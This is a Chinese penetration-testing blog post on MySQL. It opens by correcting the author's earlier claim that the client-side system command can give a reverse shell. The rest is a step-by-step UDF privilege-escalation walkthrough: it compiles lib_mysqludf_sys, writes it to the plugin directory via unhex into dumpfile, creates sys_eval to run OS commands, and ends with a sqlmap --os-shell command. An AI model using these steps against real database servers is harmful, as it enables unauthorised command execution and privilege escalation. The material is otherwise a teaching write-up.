mysql system()_MySQL的system命令在渗透测试中的使用以及UDF提权

声明:下面引用关于SYSTEM的东西是自己之前的内容,是自己没有研究透导致的错误结论:有了错就要改,做技术的不能弄虚作假,时时刻刻要求自己要谨慎,虽然我的博客没人看,但是也要向所有已经看到的人道歉,错了就是错了。

说明:

错误点:SYSTEM执行的是MYSQL-CLI客户端自己所在机器的命令,也就是你使用mysql命令行方式连接到对端后,使用SYSTEM执行的还是自己所在机器的指令。比如你system whoami,你会发现是你自己的主机账户名。所以无法用在渗透过程的当中,特此声明。

一、MySQL中的system命令

在MySQL 5.x中增加了system命令,简单的符号是\!,从而使MySQL可以执行系统的命令

1 mysql> system echo "12345"

2 12345

3b7a9dbd5df8614c0f1cf172a7cdc123.png

因为突发奇想,可以使用这个办法反弹shell

24bdf85f199add88e946ddf3e8e7f415.png

结果OK:

e28f54ae859da2bd2b59a368cb2cf09a.png

尝试和select拼接执行,这样是成功的

700c01452e87d47301a52531f015dfec.png

想到这里其实可以拼接在SQL注入语句中执行OS命令,或者能连上MySQL之后直接执行OS命令反弹shell。

二、MySQL UDF提权

这里按照linux类操作系统举例了,服务器端用windows真的没意思了,虽然还有很多。https://github.com/mysqludf/lib_mysqludf_sys解压后进入(git clone后直接进入)目录:

1 gcc -DMYSQL_DYNAMIC_PLUGIN -fPIC -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so

如果遇到报错:

1 In file included from lib_mysqludf_sys.c:40:2 /usr/include/mysql/my_global.h:626:25: error: my_compiler.h: No such file or directory

可以做如下修改:修改/usr/include/mysql/my_global.h文件,注释626行后重新编译。并使用Hex.hta获取16进制。

1 mysql> show variables like '%plugin%';2 +---------------+-------------------------+

3 | Variable_name | Value |

4 +---------------+-------------------------+

5 | plugin_dir | /usr/lib64/mysql/plugin |

6 +---------------+-------------------------+

7 1 row in set (0.00sec)8

9 mysql> select *from func; #检查是否已经有人导出过了10 mysql> select unhex('hexcode') into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so';11 Query OK, 1 row affected (0.01 sec)#需要有/usr/lib64/mysql/plugin/目录的写入权限12

13 mysql> create function sys_eval returns string soname 'mysqludf.so';14 Query OK, 0 rows affected (0.00sec)15

16 mysql> select sys_eval('whoami');17 +--------------------+

18 | sys_eval('whoami') |

19 +--------------------+

20 |mysql21 |

22 +--------------------+

23 1 row in set (0.03sec)24

25 mysql> select *from func;26 +----------+-----+-------------+----------+

27 | name | ret | dl | type |

28 +----------+-----+-------------+----------+

29 | sys_eval | 0 | mysqludf.so | function |

30 +----------+-----+-------------+----------+

31 1 row in set (0.00sec)32

33 mysql> drop functionsys_eval;34 Query OK, 0 rows affected (0.00sec)35

36 mysql> select *from func;37 Empty set (0.00 sec)

或者使用sqlmap 执行提权:

1 #sqlmap -d "mysql://root:toor@192.168.99.213:3306/test" --os-shell2 #test的地方是database name

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值